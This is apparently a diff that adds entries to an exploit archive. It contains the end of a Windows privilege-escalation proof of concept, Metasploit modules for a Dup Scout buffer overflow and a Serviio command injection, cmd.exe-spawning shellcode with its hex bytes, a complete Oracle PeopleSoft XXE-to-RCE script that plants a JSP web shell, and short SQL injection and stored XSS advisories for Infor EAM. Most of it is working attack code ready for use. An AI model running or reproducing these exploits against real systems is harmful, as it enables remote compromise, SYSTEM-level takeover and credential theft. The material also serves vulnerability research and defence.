+	StringCchPrintf(session_str, _countof(session_str), L"%d", session_id);
+
+	script_data += L"\"" + exe_file + L"\" " + session_str + scriptlet_end;
+
+	WriteFile(script_file, script_data);
+
+	return script_file;
+}
+
+void CreateNewProcess(const wchar_t* session)
+{
+	DWORD session_id = wcstoul(session, nullptr, 0);
+	ScopedHandle token;
+	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr()))
+	{
+		throw _com_error(E_FAIL);
+	}
+
+	ScopedHandle new_token;
+
+	if (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr()))
+	{
+		throw _com_error(E_FAIL);
+	}
+
+	SetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id));
+
+	STARTUPINFO start_info = {};
+	start_info.cb = sizeof(start_info);
+	start_info.lpDesktop = L"WinSta0\\Default";
+	PROCESS_INFORMATION proc_info;
+	WCHAR cmdline[] = L"cmd.exe";
+	if (CreateProcessAsUser(new_token.get(), nullptr, cmdline,
+		nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info))
+	{
+		CloseHandle(proc_info.hProcess);
+		CloseHandle(proc_info.hThread);
+	}
+}
+
+int wmain(int argc, wchar_t** argv)
+{
+	try
+	{
+		CoInit ci;
+		if (argc > 1)
+		{
+			CreateNewProcess(argv[1]);
+		}
+		else
+		{
+			bstr_t script = L"script:" + CreateScriptletFile();
+			BuildTypeLibs(script);
+			TestBits();
+		}
+	}
+	catch (const _com_error& err)
+	{
+		printf("Error: %ls\n", err.ErrorMessage());
+	}
+
+    return 0;
+}
--- a/platforms/windows/remote/42022.rb
+++ b/platforms/windows/remote/42022.rb
@ -0,0 +1,105 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = GreatRanking
+
+  include Msf::Exploit::Remote::Seh
+  include Msf::Exploit::Remote::Egghunter
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Dup Scout Enterprise GET Buffer Overflow',
+      'Description'    => %q{
+        This module exploits a stack-based buffer overflow vulnerability
+        in the web interface of Dup Scout Enterprise v9.5.14, caused by
+        improper bounds checking of the request path in HTTP GET requests
+        sent to the built-in web server. This module has been tested
+        successfully on Windows 7 SP1 x86.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'vportal',	     # Vulnerability discovery and PoC
+          'Daniel Teixeira'  # Metasploit module
+        ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'thread'
+        },
+      'Platform'       => 'win',
+      'Payload'        =>
+        {
+          'BadChars'   => "\x00\x09\x0a\x0d\x20\x26",
+          'Space'      => 500
+        },
+      'Targets'        =>
+        [
+          [ 'Dup Scout Enterprise v9.5.14',
+            {
+              'Offset' => 2488,
+              'Ret'    => 0x10050ff3  # POP # POP # RET [libspp.dll]
+            }
+          ]
+        ],
+      'Privileged'     => true,
+      'DisclosureDate' => 'Mar 15 2017',
+      'DefaultTarget'  => 0))
+  end
+
+  def check
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri'    => '/'
+    )
+
+    if res && res.code == 200
+      version = res.body[/Dup Scout Enterprise v[^<]*/]
+      if version
+        vprint_status("Version detected: #{version}")
+        if version =~ /9\.5\.14/
+          return Exploit::CheckCode::Appears
+        end
+        return Exploit::CheckCode::Detected
+      end
+    else
+      vprint_error('Unable to determine due to a HTTP connection timeout')
+      return Exploit::CheckCode::Unknown
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+  def exploit
+
+    eggoptions = {
+      checksum: true,
+      eggtag: rand_text_alpha(4, payload_badchars)
+    }
+
+    hunter, egg = generate_egghunter(
+      payload.encoded,
+      payload_badchars,
+      eggoptions
+    )
+
+    sploit =  rand_text_alpha(target['Offset'])
+    sploit << generate_seh_record(target.ret)
+    sploit << hunter
+    sploit << make_nops(10)
+    sploit << egg
+    sploit << rand_text_alpha(5500)
+
+    print_status('Sending request...')
+
+    send_request_cgi(
+      'method' => 'GET',
+      'uri'    => sploit
+    )
+  end
+end
--- a/platforms/windows/remote/42023.rb
+++ b/platforms/windows/remote/42023.rb
@ -0,0 +1,99 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  HttpFingerprint = { :pattern => [ /Restlet-Framework/ ] }
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStager
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Serviio Media Server checkStreamUrl Command Execution',
+      'Description'    => %q{
+        This module exploits an unauthenticated remote command execution vulnerability
+        in the console component of Serviio Media Server versions 1.4 to 1.8 on
+        Windows operating systems.
+
+        The console service (on port 23423 by default) exposes a REST API which
+        which does not require authentication.
+
+        The 'action' API endpoint does not sufficiently sanitize user-supplied data
+        in the 'VIDEO' parameter of the 'checkStreamUrl' method. This parameter is
+        used in a call to cmd.exe resulting in execution of arbitrary commands.
+
+        This module has been tested successfully on Serviio Media Server versions
+        1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>', # Discovery and exploit
+          'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
+        ],
+      'References'     =>
+        [
+          ['OSVDB', '41961'],
+          ['PACKETSTORM', '142387'],
+          ['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5408.php'],
+          ['URL', 'https://blogs.securiteam.com/index.php/archives/3094']
+        ],
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          ['Automatic Targeting', { 'auto' => true }]
+        ],
+      'Privileged'     => true,
+      'DisclosureDate' => 'May 3 2017',
+      'DefaultTarget'  => 0))
+    register_options([ Opt::RPORT(23423) ])
+  end
+
+  def check
+    res = execute_command('')
+
+    unless res
+      vprint_status 'Connection failed'
+      return CheckCode::Unknown
+    end
+
+    if res.headers['Server'] !~ /Serviio/
+      vprint_status 'Target is not a Serviio Media Server'
+      return CheckCode::Safe
+    end
+
+    if res.headers['Server'] !~ /Windows/
+      vprint_status 'Target operating system is not vulnerable'
+      return CheckCode::Safe
+    end
+
+    if res.code != 200 || res.body !~ %r{<errorCode>603</errorCode>}
+      vprint_status 'Unexpected reply'
+      return CheckCode::Safe
+    end
+
+    if res.headers['Server'] =~ %r{Serviio/(1\.[4-8])}
+      vprint_status "#{peer} Serviio Media Server version #{$1}"
+      return CheckCode::Appears
+    end
+
+    CheckCode::Safe
+  end
+
+  def execute_command(cmd, opts = {})
+    data = { 'name' => 'checkStreamUrl', 'parameter' => ['VIDEO', "\" &#{cmd}&"] }
+    send_request_cgi('uri'    => normalize_uri(target_uri.path, 'rest', 'action'),
+                     'method' => 'POST',
+                     'ctype'  => 'application/json',
+                     'data'   => data.to_json)
+  end
+
+  def exploit
+    fail_with(Failure::NotVulnerable, 'Target is not vulnerable') unless check == CheckCode::Appears
+    execute_cmdstager(:temp => '.', :linemax => 8000)
+  end
+end
--- a/platforms/windows/shellcode/42016.asm
+++ b/platforms/windows/shellcode/42016.asm
@ -0,0 +1,135 @@
+;Full tutorial: https://www.zinzloun.info [#Windows CMD shellcode]
+
+;COMPILE:
+ ;nasm.exe [-f win32] dynamic.asm -o dynamic.obj
+ ;SKIP -f win32 to create the .obj file to extract eventually the hex code
+ ;then execute: [python bin2hex.py dynamic.obj] to get the hex code:
+ 
+ ;"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x40\x1c\x8b\x04\x08"
+ ;"\x8b\x04\x08\x8b\x58\x08\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01"
+ ;"\xda\x8b\x72\x20\x01\xde\x41\xad\x01\xd8\x81\x38\x47\x65\x74"
+ ;"\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08"
+ ;"\x64\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c"
+ ;"\x4e\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9"
+ ;"\x51\x68\x45\x78\x65\x63\x68\x41\x57\x69\x6e\x89\xe1\x8d\x49"
+ ;"\x01\x51\x53\xff\xd6\x87\xfa\x89\xc7\x31\xc9\x51\x68\x72\x65"
+ ;"\x61\x64\x68\x69\x74\x54\x68\x68\x41\x41\x45\x78\x89\xe1\x8d"
+ ;"\x49\x02\x51\x53\xff\xd6\x89\xc6\x31\xc9\x51\x68\x65\x78\x65"
+ ;"\x20\x68\x63\x6d\x64\x2e\x89\xe1\x6a\x01\x51\xff\xd7\x31\xc9"
+ ;"\x51\xff\xd6"
+ 
+ ;you can download the python script here: https://github.com/zinzloun/infoSec/blob/master/bin2hex.py
+ 
+;LINK
+ ;GoLink.exe /console /entry _start dynamic.obj
+ ;IF THE obj FILE IS NOT CREATED WITH THE -f win32 GoLink will COMPLAIN
+ 
+ ;Tested and coded on Win10 Home edition 64, tested also on: Win7 EE 32, Win Srv 2012 R2 64
+
+[BITS 32]
+
+[SECTION .text]
+global _start
+_start:
+
+;FIND Kernel32 BASE ADDRESS
+xor ecx, ecx			; trick to avoid null byte MOV EAX,[FS:0x30], we add ecx
+MOV EAX, [FS:ecx+0x30]  ; EAX = PEB
+MOV EAX, [eax+0x0C] 	; EAX = PEB->Ldr
+MOV EAX, [EAX+0x1C] 	; EAX = PEB->Ldr.InInitializationOrderModuleList.Flink
+						; Start to move the pointer 2 positions ahead
+mov eax, [eax+ecx]		;  EAX = LDR 2nd entry -> KernelBA * + ecx to avoid NULL
+mov eax, [eax+ecx]		;  EAX = LDR 3rd entry -> Kernel32
+						; End move
+MOV EBX, [EAX+8]  		; EBX = LDR_MODULE's BaseAddress Kernel32
+
+;Find the EXPORT TABLE of kernel32.dll
+mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew (offset 60)
+add edx, ebx          ; EDX = PE Header (1)
+mov edx, [edx + 0x78] ; EDX = Offset export table (offset 120)
+add edx, ebx          ; EDX = Export table (data type IMAGE_EXPORT_DIRECTORY) (2), we will use this value later (*)
+mov esi, [edx + 0x20] ; ESI = Relative offset to AddressOfNames 
+add esi, ebx          ; ESI = AddressOfNames (3)          
+
+;Find GetProcAddress function name (the ordinal)
+Find_GetProc:
+inc ecx                              ; Increment the counter (we start from 1)
+									 ; lodsd instruction will follow the pointer specified by the ESI register and set result in the EAX, this means that after the lodsd 
+									 ; instruction we will have the offset of the current name function in EAX. 
+									 ; the instruction will also increment the esi register value with 4, so ESI will already point to next function name offset 
+lodsd                                
+add eax, ebx                        ; Get function name (offset + base a)
+cmp dword [eax], 0x50746547       	; PteG ->search first 4 bytes of the string GetProcAddre in little-endian format
+jnz Find_GetProc
+cmp dword [eax + 0x4], 0x41636f72 	; Acor ->other 4 bytes
+jnz Find_GetProc
+cmp dword [eax + 0x8], 0x65726464 	; erdd ->other 4 bytes. At this point even without checking the last 2 bytes (ss) of the function name we assume it is GetProcAddress
+jnz Find_GetProc
+dec ecx								; we start counting from 1 but the adrress index start from 0 so we need to decrement ECX
+									; now ECX points to the array index of AddressOfNames and we can obtain the ordinal value in this way: AddressOfNameOrdinals[ecx] = ordinal
+
+;Find the address of GetProcAddress function
+mov esi, [edx + 0x24]    ; ESI = Offset to AddressOfNameOrdinals (4)(*)
+add esi, ebx             ; ESI = AddressOfNameOrdinals
+mov cx, [esi + ecx * 2]  ; CX (lower word of ECX 16bit) = AddressOfNameOrdinals contains two byte numbers value (the ordinal), so we only need of the lower word of ECX
+						 ;  CX (16bit == 2byte). This value is the link (the index) to the AddressOfFunctions
+						 ;  so CX now points to the Number of function (ordinal) that corresponds to the GetProcAddress address value in the AddressOfFunctions
+mov esi, [edx + 0x1c]    ; ESI = Offset to AddressOfFunctions (5)
+add esi, ebx             ; ESI = AddressOfFunctions
+mov edx, [esi + ecx * 4] ; EDX = Offset to GetProcAddress function address: AddressOfFunctions[ecx*4]
+						 ;	We set ecx * 4 because each address pointer has 4 bytes reserved and ESI points to the beginning of AddressOfFunctions array
+add edx, ebx             ; EDX = GetProcAddress
+
+;EDX WILL CHANGE AFTER THE CALL 
+mov esi, edx			 ; store GetProcAddress in ESI
+
+;Finding address of Winexec calling GetProcAddress(base kernel32,"Winexec\0")
+xor ecx,ecx
+push ecx
+;another trick to avoid null bytes: prefix the Winexec string with A to keep the stack aligned without null
+;we load AWinexec
+push 0x63657845
+push 0x6e695741
+mov ecx,esp
+lea ecx, [ecx+1] ; get rid of 41(A)	
+push ecx	; Winexec\0	
+push ebx	; Base kernel32
+ 
+call esi	;Call GetProcAddress: the return result is saved in EAX
+
+xchg edi,edx
+mov edi, eax;save Winexec address in EDI
+
+;Finding address of ExitThread calling GetProcAddress(base kernel32,"ExitThread\0")
+xor ecx,ecx
+push ecx
+;the same trick used before for WinExec
+PUSH 0x64616572
+PUSH 0x68547469
+PUSH 0x78454141
+
+mov ecx,esp
+lea ecx, [ecx+2] ; get rid of 4141(AA)	
+ 
+push ecx	; ExitThread\0	
+push ebx	; Base kernel32
+ 
+call esi	;Call GetProcAddress: the return result is saved in EAX
+mov esi, eax;save ExitThread address in esi (overwrite GetProcAddress since we don't need anymore)
+
+;Finally call cmd.exe\0
+xor ecx,ecx
+push ecx
+push 0x20657865
+push 0x2e646d63
+
+mov ecx,esp	; "cmd.exe \0"
+push 0x1 	; windows style
+push ecx
+
+call edi	; WinExec("cmd.exe \0",1)
+
+;exit clean
+xor ecx,ecx
+push ecx
+call esi 	; ExitThread(0)
--- a/platforms/xml/remote/42026.py
+++ b/platforms/xml/remote/42026.py
@ -0,0 +1,373 @@
+#!/usr/bin/python3
+# Oracle PeopleSoft SYSTEM RCE
+# https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
+# cf
+# 2017-05-17
+
+import requests
+import urllib.parse
+import re
+import string
+import random
+import sys
+
+
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+
+
+try:
+    import colorama
+except ImportError:
+    colorama = None
+else:
+    colorama.init()
+
+    COLORS = {
+        '+': colorama.Fore.GREEN,
+        '-': colorama.Fore.RED,
+        ':': colorama.Fore.BLUE,
+        '!': colorama.Fore.YELLOW
+    }
+
+
+URL = sys.argv[1].rstrip('/')
+CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy'
+PROXY = 'localhost:8080'
+
+# shell.jsp?c=whoami
+PAYLOAD = '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>'
+
+
+class Browser:
+    """Wrapper around requests.
+    """
+
+    def __init__(self, url):
+        self.url = url
+        self.init()
+
+    def init(self):
+        self.session = requests.Session()
+        self.session.proxies = {
+            'http': PROXY,
+            'https': PROXY
+        }
+        self.session.verify = False
+
+    def get(self, url ,*args, **kwargs):
+        return self.session.get(url=self.url + url, *args, **kwargs)
+
+    def post(self, url, *args, **kwargs):
+        return self.session.post(url=self.url + url, *args, **kwargs)
+
+    def matches(self, r, regex):
+        return re.findall(regex, r.text)
+
+
+class Recon(Browser):
+    """Grabs different informations about the target.
+    """
+
+    def check_all(self):
+        self.site_id = None
+        self.local_port = None
+        self.check_version()
+        self.check_site_id()
+        self.check_local_infos()
+
+    def check_version(self):
+        """Grabs PeopleTools' version.
+        """
+        self.version = None
+        r = self.get('/PSEMHUB/hub')
+        m = self.matches(r, 'Registered Hosts Summary - ([0-9\.]+).</b>')
+
+        if m:
+            self.version = m[0]
+            o(':', 'PTools version: %s' % self.version)
+        else:
+            o('-', 'Unable to find version')
+
+    def check_site_id(self):
+        """Grabs the site ID and the local port.
+        """
+        if self.site_id:
+            return
+
+        r = self.get('/')
+        m = self.matches(r, '/([^/]+)/signon.html')
+
+        if not m:
+            raise RuntimeError('Unable to find site ID')
+
+        self.site_id = m[0]
+        o('+', 'Site ID: ' + self.site_id)
+
+    def check_local_infos(self):
+        """Uses cookies to leak hostname and local port.
+        """
+        if self.local_port:
+            return
+
+        r = self.get('/psp/%s/signon.html' % self.site_id)
+
+        for c, v in self.session.cookies.items():
+            if c.endswith('-PORTAL-PSJSESSIONID'):
+                self.local_host, self.local_port, *_ = c.split('-')
+                o('+', 'Target: %s:%s' % (self.local_host, self.local_port))
+                return
+
+        raise RuntimeError('Unable to get local hostname / port')
+
+
+class AxisDeploy(Recon):
+    """Uses the XXE to install Deploy, and uses its two useful methods to get
+    a shell.
+    """
+
+    def init(self):
+        super().init()
+        self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10)
+
+    def random_string(self, size):
+        return ''.join(random.choice(string.ascii_letters) for _ in range(size))
+
+    def url_service(self, payload):
+        return 'http://localhost:%s/pspc/services/AdminService?method=%s' % (
+            self.local_port,
+            urllib.parse.quote_plus(self.psoap(payload))
+        )
+
+    def war_path(self, name):
+        # This is just a guess from the few PeopleSoft instances we audited.
+        # It might be wrong.
+        suffix = '.war' if self.version and self.version >= '8.50' else ''
+        return './applications/peoplesoft/%s%s' % (name, suffix)
+
+    def pxml(self, payload):
+        """Converts an XML payload into a one-liner.
+        """
+        payload = payload.strip().replace('\n', ' ')
+        payload = re.sub('\s+<', '<', payload, flags=re.S)
+        payload = re.sub('\s+', ' ', payload, flags=re.S)
+        return payload
+
+    def psoap(self, payload):
+        """Converts a SOAP payload into a one-liner, including the comment trick
+        to allow attributes.
+        """
+        payload = self.pxml(payload)
+        payload = '!-->%s' % payload[:-1]
+        return payload
+
+    def soap_service_deploy(self):
+        """SOAP payload to deploy the service.
+        """
+        return """
+        <ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/"
+        xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
+        xmlns:ns1="http://xml.apache.org/axis/wsdd/">
+            <ns1:service name="%s" provider="java:RPC">
+                <ns1:parameter name="className" value="%s"/>
+                <ns1:parameter name="allowedMethods" value="*"/>
+            </ns1:service>
+        </ns1:deployment>
+        """ % (self.service_name, CLASS_NAME)
+
+    def soap_service_undeploy(self):
+        """SOAP payload to undeploy the service.
+        """
+        return """
+        <ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/"
+        xmlns:ns1="http://xml.apache.org/axis/wsdd/">
+        <ns1:service name="%s"/>
+        </ns1:undeployment>
+        """ % (self.service_name, )
+
+    def xxe_ssrf(self, payload):
+        """Runs the given AXIS deploy/undeploy payload through the XXE.
+        """
+        data = """
+        <?xml version="1.0"?>
+        <!DOCTYPE IBRequest [
+        <!ENTITY x SYSTEM "%s">
+        ]>
+        <IBRequest>
+           <ExternalOperationName>&x;</ExternalOperationName>
+           <OperationType/>
+           <From><RequestingNode/>
+              <Password/>
+              <OrigUser/>
+              <OrigNode/>
+              <OrigProcess/>
+              <OrigTimeStamp/>
+           </From>
+           <To>
+              <FinalDestination/>
+              <DestinationNode/>
+              <SubChannel/>
+           </To>
+           <ContentSections>
+              <ContentSection>
+                 <NonRepudiation/>
+                 <MessageVersion/>
+                 <Data>
+                 </Data>
+              </ContentSection>
+           </ContentSections>
+        </IBRequest>
+        """ % self.url_service(payload)
+        r = self.post(
+            '/PSIGW/HttpListeningConnector',
+            data=self.pxml(data),
+            headers={
+                'Content-Type': 'application/xml'
+            }
+        )
+
+    def service_check(self):
+        """Verifies that the service is correctly installed.
+        """
+        r = self.get('/pspc/services')
+        return self.service_name in r.text
+
+    def service_deploy(self):
+        self.xxe_ssrf(self.soap_service_deploy())
+
+        if not self.service_check():
+            raise RuntimeError('Unable to deploy service')
+
+        o('+', 'Service deployed')
+
+    def service_undeploy(self):
+        if not self.local_port:
+            return
+
+        self.xxe_ssrf(self.soap_service_undeploy())
+
+        if self.service_check():
+            o('-', 'Unable to undeploy service')
+            return
+
+        o('+', 'Service undeployed')
+
+    def service_send(self, data):
+        """Send data to the Axis endpoint.
+        """
+        return self.post(
+            '/pspc/services/%s' % self.service_name,
+            data=data,
+            headers={
+                'SOAPAction': 'useless',
+                'Content-Type': 'application/xml'
+            }
+        )
+
+    def service_copy(self, path0, path1):
+        """Copies one file to another.
+        """
+        data = """
+        <?xml version="1.0" encoding="utf-8"?>
+        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
+        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
+        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+        <soapenv:Body>
+        <api:copy
+        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
+            <in0 xsi:type="xsd:string">%s</in0>
+            <in1 xsi:type="xsd:string">%s</in1>
+        </api:copy>
+        </soapenv:Body>
+        </soapenv:Envelope>
+        """.strip() % (path0, path1)
+        response = self.service_send(data)
+        return '<ns1:copyResponse' in response.text
+
+    def service_main(self, tmp_path, tmp_dir):
+        """Writes the payload at the end of the .xml file.
+        """
+        data = """
+        <?xml version="1.0" encoding="utf-8"?>
+        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
+        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
+        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+        <soapenv:Body>
+        <api:main
+        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
+            <api:in0>
+                <item xsi:type="xsd:string">%s</item>
+                <item xsi:type="xsd:string">%s</item>
+                <item xsi:type="xsd:string">%s.war</item>
+                <item xsi:type="xsd:string">something</item>
+                <item xsi:type="xsd:string">-addToEntityReg</item>
+                <item xsi:type="xsd:string"><![CDATA[%s]]></item>
+            </api:in0>
+        </api:main>
+        </soapenv:Body>
+        </soapenv:Envelope>
+        """.strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD)
+        response = self.service_send(data)
+
+    def build_shell(self):
+        """Builds a SYSTEM shell.
+        """
+        # On versions >= 8.50, using another extension than JSP got 70 bytes
+        # in return every time, for some reason.
+        # Using .jsp seems to trigger caching, thus the same pivot cannot be
+        # used to extract several files.
+        # Again, this is just from experience, nothing confirmed
+        pivot = '/%s.jsp' % self.random_string(20)
+        pivot_path = self.war_path('PSOL') + pivot
+        pivot_url = '/PSOL' + pivot
+
+        # 1: Copy portletentityregistry.xml to TMP
+
+        per = '/WEB-INF/data/portletentityregistry.xml'
+        per_path = self.war_path('pspc')
+        tmp_path = '../' * 20 + 'TEMP'
+        tmp_dir = self.random_string(20)
+        tmp_per = tmp_path + '/' + tmp_dir + per
+
+        if not self.service_copy(per_path + per, tmp_per):
+            raise RuntimeError('Unable to copy original XML file')
+
+        # 2: Add JSP payload
+        self.service_main(tmp_path, tmp_dir)
+
+        # 3: Copy XML to JSP in webroot
+        if not self.service_copy(tmp_per, pivot_path):
+            raise RuntimeError('Unable to copy modified XML file')
+
+        response = self.get(pivot_url)
+
+        if response.status_code != 200:
+            raise RuntimeError('Unable to access JSP shell')
+
+        o('+', 'Shell URL: ' + self.url + pivot_url)
+
+
+class PeopleSoftRCE(AxisDeploy):
+    def __init__(self, url):
+        super().__init__(url)
+
+
+def o(s, message):
+    if colorama:
+        c = COLORS[s]
+        s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL
+    print('%s %s' % (s, message))
+
+
+x = PeopleSoftRCE(URL)
+
+try:
+    x.check_all()
+    x.service_deploy()
+    x.build_shell()
+except RuntimeError as e:
+    o('-', e)
+finally:
+    x.service_undeploy()
--- a/platforms/xml/webapps/42028.txt
+++ b/platforms/xml/webapps/42028.txt
@ -0,0 +1,46 @@
+SQL injection in INFOR EAM V11.0 Build 201410 search fields (web/base/..)  via filtervalue parameter
+-------------------
+Assigned CVE: CVE-2017-7952
+
+Reproduction steps:
+-------------------
+1. Log in with your EAM account
+2. Go to any page with a search or filter field in it (for example web/base/WSJOBS.xmlhttp) 
+3. Make any search and intercept the request with a proxy 
+4. In the intercepted request, replace the value of "filteroperator" parameter with IN.
+5. The "filtervalue" become vulnerable to SQL Injection
+
+Example:
+-------------------
+URL:http://<EAM_IP>/web/base/WSJOBS.xmlhttp
+POST DATA: 
+GRID_ID=<ID>&GRID_NAME=WSJOBS&DATASPY_ID=<ID>&USER_FUNCTION_NAME=WSJOBS&SYSTEM_FUNCTION_NAME=WSJOBS&CURRENT_TAB_NAME=LST&COMPONENT_INFO_TYPE=DATA_ONLY&filterfields=<field>&filteroperator=IN&filtervalue=<injection point>
+
+Exploitability
+-------------------
+Since the SQL injection vulnerability is available for any logged users, an 
+attacker needs a valid credential to exploit that vulnerability. By 
+exploiting that SQL Injection the attacker could obtain any available data 
+(even if they don’t belongs directly to him), eventually deleting and 
+replacing data as well.
+
+Impact
+-------------------
+This vulnerability allows full database access. It includes sensitive 
+information that normally should be accessed by specific users.
+An attacker could dump the user table, which contains usernames and 
+password hashes, and proceed to bruteforcing passwords offline and could 
+possibly obtain administrative credentials, or could access private files 
+or personal details such as: telephone numbers, physical address and 
+private assets.
+Obtaining administrative credentials would allow an attacker to perform 
+actions like: add or deleting users, jobs, and everything else an admin can 
+do.
+By having access to sensible information the attacker could eventually 
+pivoting them to perform further attacks on different target assets.
+
+Disclosure timeline
+-------------------
+
+26.04.2017 Vulnerability reported to vendor
+15.05.2017 Advisory published
--- a/platforms/xml/webapps/42029.txt
+++ b/platforms/xml/webapps/42029.txt
@ -0,0 +1,40 @@
+Stored XSS in INFOR EAM V11.0 Build 201410 via comment fields
+-------------------
+Assigned CVE: CVE-2017-7953
+
+Reproduction steps:
+-------------------
+1. Log in with your EAM account
+2. Go to the jobs page
+3. Click on a record and open its page
+4. Go to "Comments" tab
+4. Click the add new comment button
+5. Insert a comment containing javascript code, e.g. <img src=fakesource onerror="alert(document.cookie)"> Fake comment here
+6. Save, and after page reloading the XSS should trigger
+
+Example:
+-------------------
+PoC Screenshot: https://www.dropbox.com/s/2b859x9go8v9f2l/xss.png?dl=0
+
+
+Exploitability
+-------------------
+In EAM software user comments have read classification to every 
+authenticated users. Any authenticated user could became a valid victim to 
+the described attack by navigate (spontaneously or not) to the infected 
+page. The comment visualization triggers injected javascript code.
+On the other side any user able to write a comment could become a possible 
+attacker by introducing javascript into the comment body.
+
+Impact
+-------------------
+By reading browser cookies an attacker could ultimately grab administrative 
+credentials having access to each available EAM action.
+The vulnerability could ultimately allow an attacker to steal credential, 
+leak sensitive data, trick user to download malware.
+
+Disclosure timeline
+-------------------
+
+26.04.2017 Vulnerability reported to vendor
+15.05.2017 Advisory published